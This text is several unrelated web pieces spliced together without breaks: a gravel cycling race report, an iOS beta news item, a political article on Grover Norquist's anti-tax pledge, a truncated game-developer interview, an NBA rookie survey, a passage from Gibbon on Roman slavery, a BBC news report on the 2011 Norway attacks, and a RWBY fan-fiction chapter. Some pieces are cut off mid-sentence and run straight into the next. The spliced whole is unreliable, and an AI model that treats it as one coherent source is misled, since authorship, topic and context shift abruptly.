2, however, has a healthy dose of high-speed gravel descending sure to test skills and gear.The discussions about “what to run” are reminiscent of a ’cross race, with questions about bike choice, tire width and durability replacing tread and tire pressure chatter. Think 23mm lightweight road race tires will suffice? Just ask my teammate, Carl Hoefer, who had several flats on Sunday alone after flatting on Saturday, too.Ironically it's the racers who really need the durable gear here. If you're there for the experience and to grind some gravel – even if you're descending quickly – you're probably not in a pack that's holding mach speeds and drifting through corners. It's that ludicrous velocity coupled with lack of visibility while in the midst of a semi-reckless group that can spell disaster.I went out for a pre-ride / photo and video shoot with Castelli a month before the event, and I had pretty close to a perfect setup: 25mm IRC tubeless tires on some HiFi Mix Tape aluminum clinchers. We were gleefully descending right on the camera car's bumper, quite rapidly, and shredding right along... until I walloped a babyhead that I never saw coming at over 35 mph, slicing my tire and shooting sealant across the road.My Hosmer Chiropractic – RPM Mortgage team's race-day equipment selection (perhaps excluding Carl) actually serves as a pretty interesting example of different setups that can work well. We're sponsored by Giant, a company that lives up to its name and makes quite an array of bikes. Several of us who normally race on Propels – Giant's full-on aero race bikes – opted for the more versatile TCR model, mostly because of the ability to run fatter tires, and we scored some loaners from the rental fleet of our extremely generous shop sponsor, Sellwood Cycle Repair Adam Oliver, my teammate who won the second day from a two-man breakaway, ran his Propel with low-profile aluminum clinchers and 25mm Clement Strada clincher tires. Note, however, that the kid also weighs sub-130 pounds.I left my Propel at home and opted for an aluminum TCR loaner with a 28mm Schwalbe One tubeless tire in front and a 25mm IRC RBCC tubeless tire in back, both mounted to HiFi Hit Single 50mm carbon clinchers. I was quite frankly blown away by just how good modern aluminum bikes can be – especially with some extra cush in the tires – and how much bang can be had for a relatively short buck. Although I'm sure the extra wheel depth I ran came in handy on the flats, I mostly opted for these wheels so they'd serve as bigger billboards: I'm one of the owners of HiFi. For the non-wheel-company owners, I think lower profile wheels is probably the smarter choice, and aluminum may the better way to go for most folks.Carl Decker told me that he expected to struggle to remain in contact with the front group on the uphills since he's still pretty early into building up his race-season fitness. He ran his Giant TCX disc cyclocross bike with a 28mm Schwalbe One rear clincher and a 31mm knobby Rocket Ron tubular on a deeper carbon wheel up front. His plan was to call on his enviable skills to rail the descents to make up for any lost time, but he kept up just fine throughout the weekend even with that extra rolling resistance.Day Two finishes with a 500-meter, kind of mean little kicker to the line after a 10-mile, mostly flat and fast run-in. Cross the line, continue up and over the small hill, and descend right into the heart of downtown The Dalles where beer tickets and a sunny deck await you. The podium presentation is on a closed-off street right out front, the draft beer selections staggering, and the camaraderie and overall vibe exactly what bike racing and gravel grinding should be all about.The Gorge Roubaix keeps getting more attention and will continue to grow, but under Sperry's watchful eye, its character will undoubtedly remain. Next year, come and be a part of it. And bone up on your gravel climbing – and descending.Josh Liberles has been all about bikes for a long time. He has written for a whole bunch of publications, cycling and otherwise, and was the editor of Cyclocross Magazine for several years. He currently runs HiFi Sound Cycling Components, a wheel company based in Portland, Oregon (his official title is “Super Domestique”) and races as a Cat 1 for the Hosmer Chiropractic – RPM Mortgage Cycling Team.Two weeks following the first beta, Apple has released iOS 8.3 beta 2 to developers for the iPhone, iPad, and iPod touch. As we reported upon the first beta, the upcoming release includes a Wireless CarPlay feature, a new Emoji picker, improved login for Google services, an updated voice for Siri, and support for Apple Pay in China. iOS 8.3 is coming later this year, and sources say that Apple will release a public beta of iOS 8.3 alongside the third beta in mid-March. Apple is also working on iOS 8.4 with a new streaming music service and iOS 9.0 with bug fixes and performance enhancements as a tentpole feature. iOS 8.2, which currently stands at beta 5, will be released in March. There won’t be additional developer betas, sources say. Apple today also released a second beta of OS X 10.10.3 with the new Photos app. We’ll keep updating this post as new features are found in the latest beta. Apple has also released a new beta OS for the Apple TV.
– New Apple TV beta as well, no new features yet apparent
– Verizon LTE Voice is not supported on this 8.3 beta
– “The dialog that appears when connecting an iPhone to a CarPlay-compatible car is not functional,” according to the release notes.
– iOS 8.3 beta 2 has more diverse Emojis and flags:Republicans might have held the House, but Grover Norquist’s majority in Congress is all but gone.
Fewer incoming members of the House and Senate have signed the pledge against tax increases run by Norquist’s Americans for Tax Reform, in a reflection not only of the seats that Democrats gained but of the success they’ve enjoyed in vilifying Norquist.
About a dozen newly elected House Republicans refused to sign the anti-tax pledge during their campaigns, and another handful of returning Republicans have disavowed their allegiance to the written commitment.
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With Democrats picking up seven or eight seats, that means the pledge guides fewer than the 218 members needed for a majority. In the Senate, where Republicans lost two seats, just 39 members of the chamber are pledge-signers, according to the group’s records. That is a drop from 238 members of the House and 41 senators who committed to the pledge at the start of the 112th Congress.
Norquist’s diminished clout could have ramifications during intensifying negotiations over the so-called “fiscal cliff” and a grand bargain on taxes, spending and entitlements that leaders in both parties want to strike in the coming months.
In the wake of President Obama’s reelection, House Speaker John Boehner John Andrew BoehnerEx-GOP lawmaker joins marijuana trade group Crowley, Shuster moving to K Street On unilateral executive action, Mitch McConnell was right — in 2014 MORE (R-Ohio) has said Republicans could accept a deal that includes new revenue under certain conditions. Legislation that increases overall federal revenue could violate the pledge, which forbids its signers from supporting increases in the marginal income tax rate or the elimination of deductions and loopholes that are not offset with tax cuts elsewhere.
Democratic leaders have blamed Norquist for the failure of previous deficit talks, accusing Republicans of bowing to his pledge in opposing an agreement with new tax revenue. Senate Majority Leader Harry Reid Harry Mason ReidBottom Line Brennan fires back at'selfish' Trump over Harry Reid criticism Trump rips Harry Reid for 'failed career' after ex-Dem leader slams him in interview MORE (D-Nev.) has compared Norquist to a “puppeteer” and dubbed the House majority “the Grover Norquist Congress.”
The Republican candidates who declined to sign the pledge in 2012 hail from a variety of states and districts, some safely red and others competitive. Most of the candidates said their decision should not be interpreted as support for tax increases.
“I don’t want to sign a pledge that’s going to tie my hands,” Ted Yoho Theodore (Ted) Scott YohoThe new Democratic Congress has an opportunity to move legislation to help horses On The Money: Trump says he won't declare emergency'so fast' | Shutdown poised to become longest in history | Congress approves back pay for workers | More federal unions sue over shutdown The 7 Republicans who voted against back pay for furloughed workers MORE, a GOP congressman-elect from Florida, told The Hill. “I need free rein to do what I think is right for the people in my district and the country.”
Yoho is no fan of taxes, calling them “a necessary evil, it appears.” He said one reason he did not sign the pledge was that he had never met Norquist. “To sign a pledge to somebody that’s not a member of Congress or part of my constituency, I don’t think would be very prudent,” Yoho said.
Susan Brooks Susan Wiant BrooksThe Hill's 12:30 Report: Sanders set to shake up 2020 race House Dems release 2020 GOP'retirements to watch' for House Dems unveil initial GOP targets in 2020 MORE, a newly elected Republican from Indiana, offered a similar explanation on the campaign trail, spokeswoman Dollyne Pettingill Sherman said. “She just took the position that she was not going to sign pledges,” she said. “That doesn’t mean she’s for tax increases. She’s not. She was very clear about it.”
In an interview, Norquist said Americans for Tax Reform counts 219 incoming House Republicans as signers of the pledge, which he frequently notes is a commitment not to him but to a lawmaker’s constituents. The members of the House and Senate GOP leadership have also signed the pledge. Norquist’s 219 figure includes members who signed the pledge but who have since disavowed it.
“There are some guys who didn’t sign it because we didn’t get to them,” he said. “There are always people who sign it after they get elected.”
But Norquist acknowledged that the focus on the pledge by Democrats and affiliated groups might have had an impact. “There was some pressure from certain spending interests who said, ‘Don’t sign the pledge,’ ” he said.
At the height of deficit talks in 2011, Norquist faced criticism from some Republicans who said they did not feel bound by a pledge many of them took years ago when they first ran for the House. Returning Republican Reps. Mike Simpson (Idaho), Howard Coble (N.C.), Jeff Fortenberry Jeffrey (Jeff) Lane Fortenberry College professor accused of vandalizing Nebraska GOP lawmaker's campaign signs Professor says GOP lawmaker’s office called him over ‘liking’ vandalized campaign sign In the wake of ISIS: Seeking to restore what is right and good for the Yazidis MORE (Neb.) and Scott Rigell Edward (Scott) Scott RigellGOP rushes to embrace Trump GOP lawmaker appears in Gary Johnson ad Some in GOP say Trump has gone too far MORE (Va.), among others, all disavowed the commitment. A pledge-signer in the Senate, Tom Coburn Thomas (Tom) Allen CoburnThe Hill's Morning Report — Presented by PhRMA — Worries grow about political violence as midterms approach President Trump’s war on federal waste American patients face too many hurdles in regard to health-care access MORE (Okla.), also publicly battled with Norquist.
Norquist said the lawmakers knew at the time they signed the pledge that it was good for the duration of their tenure in Congress, and he has dismissed members who have verbally distanced themselves from it. “Nobody’s actually broken the pledge,” he said of those members. “That doesn’t keep me up at night.”
He is quick to point out that one Democrat who did sign the pledge and broke it by voting for tax increases, Rep. Ben Chandler (Ky.), was ousted on Tuesday.
Democrats declared victory on the tax question in the election, but they said it was unclear if Republicans would move on the issue.
“It should be a teachable moment for Republicans, but the Republican leadership continues to oppose making millionaires pay their fair share, so it looks like the lesson might have fallen on deaf ears,” said Jesse Ferguson, spokesman for the Democratic Congressional Campaign Committee.
A House Democratic leadership aide, speaking on the condition of anonymity, was more hopeful. “As far as [Norquist’s] ability to sway votes, it’s gone,” the aide said. “So I don’t think he’s a concern.”Bitcoin Voidspace: Follow up
Since a month from out Kickstarter project interview with Voidspace, they have been making bounds when it comes to making the game an actual game, with the game currently in beta. If you don’t know what Voidspace is, here is a refresher.
1. Since our last time we met, and the Kickstarter project how are things?
I’d say things are better than ever. We finally have some solid gameplay video footage of the prototype, we’re finally getting some (though minor) media traction. Donations are at an all time high. The game itself is “more fun than a game at this stage of development should be” according to our players. It is all very exciting. I |
Others receiving votes: Montrezl Harrell, Houston; Stanley Johnson, Detroit; Jarell Martin, Memphis; Chris McCullough, Brooklyn; Michael Qualls; Terry Rozier, Boston; Marcus Thornton, Boston
Last year: Zach LaVine -- 56.6 percent
Worth noting: This category usually doesn't get such a variety of responses. Maybe there are a lot of great athletes in this rookie class and maybe there's just nobody that stands out like LaVine did last year. Two of the guys who got votes -- McCullough and Qualls -- suffered torn ACLs in the last year.
Which rookie is the best shooter?
The Starters: Devin Booker Suns rookie Devin Booker's NBA.com profile page is blank, so The Starters asked him some basic questions to help fill it out.
1. Devin Booker, Phoenix -- 58.8 percent
T-2. Pat Connaughton, Portland -- 8.8 percent
R.J. Hunter, Boston -- 8.8 percent
4. Anthony Brown, L.A. Lakers -- 5.9 percent
Mario Hezonja, Orlando -- 5.9 percent
Others receiving votes: Tyler Harvey, Orlando; Stanley Johnson, Detroit; Kelly Oubre, Washington; Rashad Vaughn, Milwaukee
Last year: Doug McDermott -- 39.5 percent
Worth noting: Booker, who shot 40 percent from 3-point range and 88 percent from the free-throw line in Summer League, was the only player to receive more than half of the votes for any question.
Which rookie is the best defender?
Hollis-Jefferson's Big Block Rondae Hollis-Jefferson denies Jamal Jones at the rim.
1. Rondae Hollis-Jefferson, Brooklyn -- 23.5 percent
2. Stanley Johnson, Detroit -- 20.6 percent
3. Justise Winslow, Miami -- 17.6 percent
T-4. Willie Cauley-Stein, Sacramento -- 5.9 percent
Delon Wright, Toronto -- 5.9 percent
Others receiving votes: Justin Anderson, Dallas; Anthony Brown, L.A. Lakers; Rakeem Christmas, Indiana; Jerian Grant, New York; Montrezl Harrell, Houston; Kelly Oubre, Washington; Josh Richardson, Miami; Edy Tavares, Atlanta; Joseph Young, Indiana
Last year: K.J. McDaniels, Marcus Smart -- 13.5 percent
Worth noting: All the guys who received multiple votes will play for teams that ranked in the bottom 12 in defensive efficiency last season. Rookies seldom make a positive impact on that end of the floor, but for the teams they've joined, these five guys probably can't hurt.
Which rookie is the best playmaker?
After Dark: D'Angelo Russell Rick talks some hoops and hits golf balls with Lakers rookie D'Angelo Russell.
1. D'Angelo Russell, L.A. Lakers -- 40.0 percent
2. Tyus Jones, Minnesota -- 17.1 percent
3. Emmanuel Mudiay, Denver -- 14.3 percent
4. Delon Wright, Toronto -- 8.6 percent
T-5. Cameron Payne, Oklahoma City -- 5.7 percent
Joseph Young, Indiana -- 5.7 percent
Others receiving votes: Jerian Grant, New York; Kelly Oubre, Washington; Terry Rozier, Boston
Last year: Tyler Ennis -- 24.3 percent
Worth noting: This was the only question for which Stanley Johnson didn't get a vote. He wins the "Jack of all trades" award with votes for seven different questions. Kelly Oubre (six) and Willie Cauley-Stein (five) also seem to be versatile, but didn't win any categories either.
Which rookie is the funniest?
NBA Rooks: Frank Kaminsky An all-access look at Charlotte Hornets first rounder Frank Kaminsky, who had an impressive pro debut at the Orlando Summer League.
1. Rondae Hollis-Jefferson, Brooklyn -- 44.3 percent
2. Frank Kaminsky, Charlotte -- 25.7 percent
3. D'Angelo Russell, L.A. Lakers -- 5.7 percent
Others receiving votes: Justin Anderson, Dallas; Stanley Johnson, Detroit; Kelly Oubre, Washington; Cameron Payne, Oklahoma City; Josh Richardson, Miami; Karl-Anthony Towns, Minnesota; Rashad Vaughn, Milwaukee; Justise Winslow, Miami; Joseph Young, Indiana
Last year: Joel Embiid -- 20.0 percent
Worth noting: Hollis-Jefferson received votes in just three categories, but won two of them and had the most total votes, thanks to his dominance in the humor department.
What will be the biggest adjustment for you, playing in the NBA?
1. Speed or pace of the game -- 38.6 percent
2. Length of season -- 18.6 percent
3. Physicality (size and strength of opponents) -- 17.1 percent
4. Lifestyle & time management -- 11.4 percent
5. Conditioning and body maintenance -- 4.3 percent
Also receiving votes: Complexity of the game, Paying taxes, Shorter shot clock, Travel
Last year: Speed or pace of the game -- 26.4 percent
Worth noting: Hopefully, the "paying taxes" guy has a good accountant.
Who is your favorite player in the league?
Rookies Discuss Facing NBA Vets Lang Whitaker talks with several players during the 2015 rookie photo shoot.
1. Kevin Durant, Oklahoma City -- 21.2 percent
2. Kobe Bryant, L.A. Lakers -- 18.2 percent
3. LeBron James, Cleveland -- 15.2 percent
T-4. Stephen Curry, Golden State -- 9.1 percent
Dwyane Wade, Miami -- 9.1 percent
6. James Harden, Houston -- 6.1 percent
Others receiving votes: Anthony Davis, New Orleans; Kevin Garnett, Minnesota; Marc Gasol, Memphis; Rudy Gay, Sacramento; Kawhi Leonard, San Antonio; Klay Thompson, Golden State; Russell Westbrook, Oklahoma City
Last year: Kevin Durant -- 25.0 percent
Worth noting: The top three vote-getters finished in the same order last year. The rooks weren't affected by the fact that Durant and Bryant combined to play just 62 games last season.
John Schuhmann is a staff writer for NBA.com. You can e-mail him here and follow him on Twitter.
The views on this page do not necessarily reflect the views of the NBA, its clubs or Turner Broadcasting.It was by such institutions that the nations of the empire insensibly melted away into the Roman name and people. But there still remained, in the centre of every province and of every family, an unhappy condition of men who endured the weight, without sharing the benefits, of society. In the free states of antiquity the domestic slaves were exposed to the wanton rigour of despotism. The perfect settlement of the Roman empire was preceded by ages of violence and rapine. The slaves consisted, for the most part, of barbarian captives, taken in thousands by the chance of war, purchased at a vile price, accustomed to a life of independence, and impatient to break and to revenge their fetters. Against such internal enemies, whose desperate insurrections had more than once reduced the republic to the brink of destruction, the most severe regulations and the most cruel treatment seemed almost justified by the great law of self-preservation. But when the principal nations of Europe, Asia, and Africa were united under the laws of one sovereign, the source of foreign supplies flowed with much less abundance, and the Romans were reduced to the milder but more tedious method of propagation. In their numerous families, and particularly in their country estates, they encouraged the marriage of their slaves. The sentiments of nature, the habits of education, and the possession of a dependent species of property, contributed to alleviate the hardships of servitude. The existence of a slave became an object of greater value, and though his happiness still depended on the temper and circumstances of the master, the humanity of the latter, instead of being restrained by fear, was encouraged by the sense of his own interest. The progress of manners was accelerated by the virtue or policy of the emperors; and by the edicts of Hadrian and the Antonines the protection of the laws was extended to the most abject part of mankind. The jurisdiction of life and death over the slaves, a power long exercised and often abused, was taken out of private hands, and reserved to the magistrates alone. The subterraneous prisons were abolished; and, upon a just complaint of intolerable treatment, the injured slave obtained either his deliverance or a less cruel master.
Hope, the best comfort of our imperfect condition, was not denied to the Roman slave; and, if he had any opportunity of making himself either useful or agreeable, he might very naturally expect that the diligence and fidelity of a few years would be rewarded with the inestimable gift of freedom. The benevolence of the master was so frequently prompted by the meaner suggestions of vanity and avarice, that the laws found it more necessary to restrain than to encourage a profuse and undistinguishing liberality, which might degenerate into a very dangerous abuse. It was a maxim of ancient jurisprudence, that a slave had not any country of his own; he acquired with his liberty an admission into the political society of which his patron was a member. The consequences of this maxim would have prostituted the privileges of the Roman city to a mean and promiscuous multitude. Some seasonable exceptions were therefore provided; and the honourable distinction was confined to such slaves only as, for just causes, and with the approbation of the magistrate, should receive a solemn and legal manumission. Even these chosen freedmen obtained no more than the private rights of citizens, and were rigorously excluded from civil or military honours. Whatever might be the merit or fortune of their sons, they likewise were esteemed unworthy of a seat in the senate; nor were the traces of a servile origin allowed to be completely obliterated till the third or fourth generation. Without destroying the distinction of ranks, a distant prospect of freedom and honours was presented, even to those whom pride and prejudice almost disdained to number among the human species.Media playback is unsupported on your device Media caption Adrian Pracon says he played dead to try to avoid the gunman on Utoeya
At least 85 people died when a gunman opened fire at an island youth camp in Norway, hours after a bombing in the capital Oslo killed seven, police say.
Police have charged a 32-year-old Norwegian man over both attacks.
The man dressed as a police officer was arrested on tiny Utoeya island after an hour-long shooting spree.
Prime Minister Jens Stoltenberg said many people were still looking for their children and had not so far been able to locate them.
He was speaking after meeting victims and relatives with Norway's King Harald, Queen Sonja and Crown Prince Haakon in the town of Sundvollen near the island.
He first shot people on the island - afterward he started shooting people in the water Youth delegate Values attackedHome-grown plot?In pictures: Shock
Mr Stoltenberg said he was "deeply touched" by the meetings. "We will do whatever we can to give them as much support as possible," he said.
Earlier he said that he was due to have been on Utoeya - "a youth paradise turned into a hell" - a few hours after the attack took place.
The suspect is reported by local media to have had links with right-wing extremists. He has been named as Anders Behring Breivik. Police searched his Oslo apartment overnight and are questioning him.
The BBC's Richard Galpin, near the island which is currently cordoned off by police, says that Norway has had problems with neo-Nazi groups in the past but the assumption was that such groups had been largely eliminated and did not pose a significant threat.
Police say they are investigating whether the attacks were the work of one man or whether others helped.
"At Utoeya, the water is still being searched for more victims," deputy police chief Roger Andresen told reporters.
"We have no more information than... what has been found on [his] own websites, which is that it goes towards the right and that it is, so to speak, Christian fundamentalist."
At the scene A search is going on not just on the island itself, but also in the waters around it because a lot of people tried to escape by jumping in the water and trying to swim away. Even as they did that, eyewitnesses say, the gunman opened fire on them. The chatter now is that it took the police an hour, if not an hour and a half, to actually get to the island. Of course that gave the gunman so much time to kill so many people. Also crucially, the police were throwing all their resources at the huge bomb attack which had just taken place in the centre of Oslo. But still, the question will be asked: Were there not police nearer to this area who could have moved in much more quickly?
Local media report that police are investigating claims by witnesses that a second person was involved, apparently not disguised in a police uniform.
A farm supply firm has confirmed selling six tonnes of fertiliser to Mr Breivik who is reported to have run a farming company. Speculation has been rife that fertiliser could have been used in the Oslo bomb.
'Posed as policeman'
The number killed in the island shooting spree, which is among the world's most deadly, had been put at 10 on Friday - but soared overnight. Hundreds of young people had been attending the summer camp organised by the governing Labour Party on Utoeya island.
Eyewitnesses described how a tall, blond man dressed as a policeman opened fire indiscriminately, prompting camp attendees to jump into the water to try to escape the hail of bullets.
Some of the teenagers were shot at as they tried to swim to safety.
Armed police were deployed to the island but details of the operation to capture the suspect remain unclear. After his arrest he was charged with committing acts of terrorism.
Island shooting suspect Image caption Both Mr Breivik's Facebook and Twitter entries are only a few days old Describes himself as a Christian and conservative on Facebook page attributed to him
Grew up in Oslo and attended Oslo School of Management
Set up farm through which he would have had access to fertiliser - which can also be used to make a bomb Profile: Anders Behring Breivik
Police say they discovered many more victims after searching the area around the island. They have warned the death toll may rise further as rescue teams continue to scour the waters around the island.
The gunman is reported to have been armed with a handgun, an automatic weapon and a shotgun.
"He travelled on the ferry boat from the mainland over to that little inland island posing as a police officer, saying he was there to do research in connection with the bomb blasts," NRK journalist Ole Torp told the BBC.
"He asked people to gather round and then he started shooting, so these young people fled into the bushes and woods and some even swam off the island to get to safety."
One 15-year-old eyewitness described how she saw what she thought was a police officer open fire.
"He first shot people on the island. Afterward he started shooting people in the water," youth camp delegate Elise told Associated Press.
Media playback is unsupported on your device Media caption Witness Daniel Cherubini says it was "absolute chaos" in Oslo following Friday's bombing
'Despicable violence'
Deadly shootings worldwide July 2011: At least 85 killed at a summer camp on the Norwegian island of Utoeya, hours after bomb blast in capital Oslo
At least 85 killed at a summer camp on the Norwegian island of Utoeya, hours after bomb blast in capital Oslo April 2007: Seung-Hui Cho, 23, kills 32 people and himself on Virginia Tech campus in the US
Seung-Hui Cho, 23, kills 32 people and himself on Virginia Tech campus in the US April 2002 : Robert Steinhaeuser, 19, kills 16 people before killing himself in Erfurt, Germany
: Robert Steinhaeuser, 19, kills 16 people before killing himself in Erfurt, Germany April 1999: Students Eric Harris, 18, and Dylan Klebold, 17, open fire at Columbine High School in Littleton, Colorado killing 13 people before taking their own lives
Students Eric Harris, 18, and Dylan Klebold, 17, open fire at Columbine High School in Littleton, Colorado killing 13 people before taking their own lives April 1996: Martin Bryant, 29, kills 35 people in Port Arthur in Tasmania, Australia
Martin Bryant, 29, kills 35 people in Port Arthur in Tasmania, Australia March 1996: Thomas Hamilton, 43, kills 16 children and their teacher in a school in Dunblane, Scotland - before killing himself
The attacks sparked strong international condemnation, with US President Barack Obama expressing his condolences and offering support.
Britain's Queen Elizabeth II spoke of her shock and sadness in a letter to King Harald.
In Oslo, government officials urged people to stay at home and avoid central areas of the city.
Shards of twisted metal, rubble and glass littered the streets of central Oslo left devastated by Friday's enormous explosion.
Windows in the buildings of the government quarter were shattered and witnesses described how smoke filled the atmosphere around the blast site.
The BBC's John Sopel in Oslo says there is a heavy military presence, with checkpoints around the quarter.
Mr Stoltenberg said civil servants were among the dead in Oslo and he knew some of those killed.
There are also concerns that more victims may still be inside buildings hit by the initial massive explosion.Not much to say this time prior to the chapter. I got it out within the 2 week mark I try to keep to, and it's actually a bit of a longer one as well to help compensate for the shorter chapter last time. As for the story itself, we still are continuing at a good pace in a way that has me projecting at least 30+ if not 40+ chapters making this story longer for sure than my last one. Enjoy!
The three of them casually strolled down the streets of Atlas towards the social event as though they had always been a part of the rich environment of the capital. Aside from the odd look some civilians gave them as to the fancy attire they wore no one bore them any special attention as they continued on their way. So far everything seemed to be proceeding alright, however they had only just started and had next to no idea what the event itself may look like nor how to act in a way that let them bend in and still try to find Weiss or Ironwood to try and find some answers as to current events in the northern kingdom.
Frost spoke in a hushed voice to the two on either side of him. "I'm just saying, we don't really have any experience acting fancy and stuck-up. What the heck are we supposed to even do once we get in there? We don't exactly want to blow or cover right off the bat even if the event doesn't require an invitation. It'll be obvious pretty fast how much we don't belong."
Emerald angled her head slightly to respond from Frost's right in a way that would still be audible to Neo and not be too loud for anyone passing by. "I already explained, just be quiet for a bit and look at how others are acting. Once you have an idea on that just act similar to them. Don't force it though; otherwise it'll stand out more. Just speak in short sentences and brief replies so that you don't have to focus too hard on what you're saying."
"Easy for you to say," Frost mumbled back while Neo silently listened to the two banter with a roll of her eyes. "You've had practice with this sort of thing, and so has Neo since both of you can use your Semblances to pretend to be other people without much effort. I don't have that same kind of ability. Especially with the cover we decided to go with if someone asks who we are."
"You've already been around one of them long enough. Just act in a similar fashion to what you've already seen and you should be fine." Emerald snapped back.
"Based on what I've seen versus what I've heard about them?" Frost replied back with an incredulous tone. "Easier said than done. I doubt the others will be quite as subdued as the rumors put them."
Neo turned to hush the other two as they finished their approach towards the gates to the Schnee Mansion. At that Frost begrudgingly set his concerns aside while Emerald turned her head back to face directly ahead as a pair of guards moved to stop them like they had been to other arriving guests.
"Hand over any personal belongings for a routine scan folks." One of the guards mentioned as he detached a device from a belt holster. "Routine scan for any weapons or dangerous materials before entering the premises."
Emerald gave Neo a sharp look as the latter hesitated for a moment in handing over her parasol that she had tried desperately to convince Emerald to bring along. The two turned to face Frost to see what his expression would be, surprised to see an unconcerned look etched across it. In fact, he was also facing Neo much like the guards, but with an almost impatient look on his face.
"Well? Hand over the parasol to the man already." Frost stated in a slightly nasal tone. "We already anticipated this to happen so we may as well explain while they look it over." The concerned looks Neo and Emerald gave each other as they both looked to Frost in bewilderment didn't seem to faze him as the guard thanked him for assisting before flipping a switch on the device he had retrieved before running it back and forth across the parasol. For a few moments, nothing seemed to happen as the device beeped across the surface of the weapon around the upper part where the veil was collapsed, however that changed to a frequently flashing with an increased pitch as it reached the bottom half where the Dust canisters lay hidden within the barrel of the modified gun.
The other guard raised his gun in a warning stance as the beeping intensified, the guard holding the scanner bracing as though expecting the object to explode once the pitch increased. "Explain this! No one is permitted weapons within the Schnee premises, much less concealed ones. Respond or you will be detained and removed from the premises at which point you will be taken to Atlas Military HQ for questioning and potential imprisonment!"
"You'll have to forgive my companions for me, kind sirs." Frost continued on in his nasally tone, his face unmarred by concern or worry as he continued to keep a straight face. "We came from outside the kingdom the moment we heard this event was to be taking place, and thus I needed to bring some friends as mine to act as protection- in secret of course- in case I was set upon by the White Fang on my way here. You know how they can be."
"Sir, I'll need a name to check on before I can accept a story like that." The guard holding the scanner replied as he kept a tight grip on Neo's parasol, much to her frustration.
"Fine. But I'll be having a word with your commanding officer about better information for the guards the next time one of these events goes on. My name is…"
Weiss sighed as she stood amongst the pandering crowd of guests to the event her father had been so "gracious" to host for the benefit of their neighbor kingdom of Vale.
"What seems to be the matter, Miss Schnee?" A light voice asked from nearby as Weiss turned to face the figure in full with a bored expression. "Your father made this event in part to help you ease back into Atlesian customs after being away to Vale for so long in case you had forgotten how privileged you were before leaving. Why do you appear disinterested in such a show of fatherly attention?"
Weiss was silent for a moment as she looked around at the throngs of people milling about, unconcerned about what had occurred outside their borders and even going so far as to insult them for not having better protection like themselves. It had taken every ounce of her willpower not to snap and lash out at something and instead move to one side of the room to silently think to herself. Unfortunately the bodyguard that had been assigned to her at Winter's own request was forced to follow her around as well, thus leaving her unable to be truly separate from the party to a place where she could train instead of satisfying the snobbish Atlesian nobles her father catered to. At first Weiss had been ecstatic to have a familiar face near her again, but after realizing who it would be her eagerness to have a guard quickly diminished. Now it felt more like a leash than a guard.
"…Because it's hardly being done for my benefit. Father simply seeks to establish his usual caring persona outside the office so that people eat up the words he has to say before moving on with more of his biased nonsense. He doesn't care about how I feel, and he never will."
Weiss' bodyguard remained silent and rigid as she finished replying before she turned back to face the crowd with a downtrodden sigh. A moment later a buzzing sound originated from one of the guard's ears to which Weiss stood straighter before turning back with an expectant, albeit bored look.
"Well? Who does Father wish me to speak with now? I swear if it's another potential suitor I'm going to throw something."
The guard turned to face Weiss after a few moments to receive the message. "Nothing quite so plain, Miss Schnee. It does however appear that you have family visiting."
"Winter is here? I thought she was too busy doing operations for the Military right now?"
"I'm afraid this isn't Specialist Schnee visiting. It is a distant cousin of yours. He claims to be the son of your uncle Crispin Schnee, on your mother's side. He has been in hiding since your uncle was killed by White Fang terrorists during his work in Vacuo to try and bring them into a more modern way of living. He also said he had a message for your ears only and demanded that he have a chance to speak with you."
Weiss stood confused as the words stated by her guard were processed. A cousin? From an uncle she had barely heard about? She HAD heard a bit about him and that he had left for Vacuo before she had been born, but he had a son? This was the first she had ever heard of such a thing. Normally a Schnee having a child would be celebrated quite profusely by the more pretentious members of the family like her father as it allowed them to continue their lineage through their children. Weiss knew now how much that was just manipulation and oppression on the part of the less reputable side of the family, but to keep one secret? What was the purpose? Then she remembered the second part of what her bodyguard had stated.
"Relay the message and tell them to bring him up here at once."
"At once, Miss Schnee." After a brief beeping sound from the same ear of the guard and quickly relayed response, the message was repeated out loud for Weiss to hear.
"The rose is safe and sound and in the company of a kingdom missing it's champion. The dragon is recovering and the panther is unknown. The snow has descended near mountains of white and brings aid from unforeseen sources in the fight."
"I'm sorry…what?" Weiss stood confused as she replayed the message over in her mind. None of it made sense. It sounded like a riddle out of a terribly written children's book. Clearly it had some hidden meaning, but as to what it was, she had no idea. "How long until they arrive from the front doors?"
"I would say…roughly 10-15 minutes given the length of the building and the crowd they will need to pass through within the main hall. Perhaps 5 if they are able to move uninterrupted."
"That should be enough time to decipher most of the message then. I have a slight idea as to the first half of it, but the second had me horribly confused."
The group of three traversed through the crowd of guests as a guard led them through the masses towards the doors that would head into the rest of the house. Frost led the way as the other two followed after him, gently nudging their way through the crowd as they moved. Once or twice Neo had to swipe at Emerald's reaching hands as the temptation to pocket a wallet or two tempted her along the way. Emerald snorted as she replayed part of Frost's message through her head, the absurdity of it still not lost on the group.
"Are you done, yet?" Frost snapped in a hiss as they moved towards the large ornate doors. "I didn't have a lot of time to think on that one."
Neo placed a hand on Frost's arm with a bit of a reach as they walked through the doors with the aid of a pair of armed guards at a nod from the one they were following. "It's fine…Noel. I'm sure you just got a bit of it…confused; what with the details you were trying to relay."
"Yeah," Emerald replied with a cheeky grin, "I'm sure it was just your inner poet trying to sneak out a bit as you came up with it. That's all."
"You could have helped you know, Miss Master-of-Disguise." Frost replied with a bite to his tone.
"Maybe if you had given us more of a heads-up before taking the reins I could have. But since we had to be so secretive you wouldn't even let me know about this message ahead of time to tell you where it went wrong."
"…Whatever. Next time it's your job to come up with a secret message." Frost replied with a grumble as they turned to face a set of detailed doors where the guard leading them had stopped to face.
"This is the place folks. Miss Schnee is just inside waiting for you as asked. As soon as you're done, we'll be expecting you at the party down the hall. I'm sure Mister Schnee would be glad to see some family from out of the kingdom visiting." The guard stated with a salute as he turned and marched back down the hall away from them. The three of them all gave each other a brief look before nodding as Frost stepped forward to turn the knob and enter the room. Hopefully Weiss had deciphered the message enough in such a short amount of time.
As soon as they entered the room, they saw that Weiss seemed to be sitting by a desk facing away from them as she furiously scribbled away at something. The three of them moved further into the room to address her, only to be startled by the door seeming to close itself behind them with a sharp click as controlled on its own. As they all whirled to see if they had been caught in a trap, instead they were all left speechless at the sight of someone standing next to the door. Someone quite familiar to one and recognizable to another, as a matter of fact.
"Miss Schnee, your guests have arrived. They seem quite interested in me for some reason. Would you happen to know why?"
"I'm sure it's a mystery, Penny. As far as I know you've never met before to my knowledge." Weiss stated without turning to face the rest of the room's occupants. "Just give me a moment to finish deciphering this. I've gathered enough to know that this is obviously written by that dunce Frost and the first half applies to Ruby, Blake, Yang, and Arc's team, I just haven't figured out what his unforeseen aid is. How many people are there besides a white-haired male?"
"Two. One with multicolored hair and another with-"
